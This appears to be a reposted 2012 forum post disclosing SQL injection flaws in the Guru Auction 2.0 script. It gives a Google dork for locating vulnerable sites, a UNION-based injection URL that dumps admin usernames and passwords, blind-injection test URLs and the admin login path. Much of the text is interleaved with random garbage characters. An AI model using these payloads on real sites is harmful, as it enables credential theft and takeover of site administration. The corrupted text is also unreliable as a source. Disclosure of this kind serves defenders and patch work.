Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
0 m( Q8 Q4 s2 Q/ U6 E; Z/ w! }
}9 R7 z4 m. N l( f作者 : v3n0m% n# j4 o- l5 }! z1 A3 [5 \
应用 : Guru Auction 2.07 t7 {& P K4 u x1 K
Price : $490 h) t, e* z% G. ]: h5 |
Vendor : http://www.guruscript.com/
" ~$ H# c* [0 qGoogle Dork : inurl:subcat.php?cate_id=$ L6 C5 h8 T) f2 d0 n
0 x. W2 l% h. S4 N. b' C6 {1 [2 MSQLi p0c:% w- U8 t# q# }. b
~~~~~~~~~~" O$ E% l* T" I- T
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--$ H! Q6 V' k/ U3 f5 e
! f/ w% b* I# u. u/ x S' W e$ ]* x1 P, {5 p. R
盲注 p0c:+ L# K, Y; {9 N% [; m- Z, [1 X
~~~~~~~~~~
2 K9 A: ~$ y) G8 z6 m9 U/ `3 Y3 bhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
1 p% i8 l! Y( p8 n ]http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false; e f+ [9 V7 d+ O/ e- g2 q+ A
' n" ]3 V" @; k" y7 o1 |3 j
管理登录入口:- V* G1 v: e7 [2 x2 i% O Q- G- B
~~~~~~~~~~! u7 W3 t+ T3 P9 H0 L$ D5 z9 K9 _
http://domain.tld/[path]/admin/
- B9 b. c2 s6 g. B5 e2 j1 e; z* { |
发表于 2012-12-31 09:24:05
收藏
支持
反对